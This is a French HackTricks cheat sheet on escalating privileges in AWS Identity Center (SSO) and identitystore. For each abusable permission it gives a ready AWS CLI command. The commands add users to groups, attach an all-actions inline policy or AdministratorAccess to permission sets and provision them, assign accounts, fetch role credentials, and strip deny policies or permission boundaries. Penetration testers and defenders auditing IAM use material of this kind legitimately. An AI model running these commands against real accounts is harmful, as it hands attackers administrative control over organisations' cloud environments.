AWS - SSO & identitystore Privesc

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Centre d'identité AWS / AWS SSO

Pour plus d'informations sur le Centre d'identité AWS / AWS SSO, consultez :

pageAWS - IAM, Identity Center & SSO Enum

Notez que par défaut, seuls les utilisateurs avec des autorisations du compte de gestion pourront accéder et contrôler le Centre d'identité IAM. Les utilisateurs des autres comptes ne pourront y accéder que si le compte est un administrateur délégué. Consultez la documentation pour plus d'informations.

Réinitialiser le mot de passe

Un moyen facile d'escalader les privilèges dans des cas comme celui-ci serait d'avoir une autorisation permettant de réinitialiser les mots de passe des utilisateurs. Malheureusement, il n'est possible que d'envoyer un e-mail à l'utilisateur pour réinitialiser son mot de passe, donc vous auriez besoin d'accéder à l'e-mail de l'utilisateur.

identitystore:CreateGroupMembership

Avec cette autorisation, il est possible d'ajouter un utilisateur à un groupe afin qu'il hérite de toutes les autorisations du groupe.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Un attaquant avec cette autorisation pourrait accorder des permissions supplémentaires à un ensemble de permissions qui est accordé à un utilisateur sous son contrôle

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Un attaquant avec cette permission pourrait accorder des permissions supplémentaires à un ensemble de permissions qui est accordé à un utilisateur sous son contrôle

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Un attaquant avec cette permission pourrait accorder des permissions supplémentaires à un ensemble de permissions qui est accordé à un utilisateur sous son contrôle.

Pour abuser de ces permissions dans ce cas, vous devez connaître le nom d'une politique gérée par le client qui se trouve dans TOUS les comptes qui vont être affectés.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Un attaquant avec cette permission pourrait attribuer un ensemble de permissions à un utilisateur sous son contrôle à un compte.

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Renvoie les informations d'identification à court terme STS pour un nom de rôle donné qui est attribué à l'utilisateur.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Cependant, vous avez besoin d'un jeton d'accès dont je ne suis pas sûr comment obtenir (À FAIRE).

sso:DetachManagedPolicyFromPermissionSet

Un attaquant avec cette permission peut supprimer l'association entre une stratégie gérée AWS du jeu de permissions spécifié. Il est possible d'accorder plus de privilèges en détachant une stratégie gérée (stratégie de refus).

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Un attaquant avec cette permission peut supprimer l'association entre une politique gérée par le client à partir de l'ensemble de permissions spécifié. Il est possible d'accorder plus de privilèges en détachant une politique gérée (politique de refus).

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Un attaquant avec cette permission peut supprimer les autorisations d'une stratégie intégrée du jeu d'autorisations. Il est possible d'accorder plus de privilèges en détachant une stratégie intégrée (stratégie de refus).

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Un attaquant avec cette permission peut supprimer la limite de permission du jeu de permissions. Il est possible d'accorder plus de privilèges en supprimant les restrictions sur le jeu de permissions données par la limite de permission.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

D'autres façons de soutenir HackTricks :

Dernière mise à jour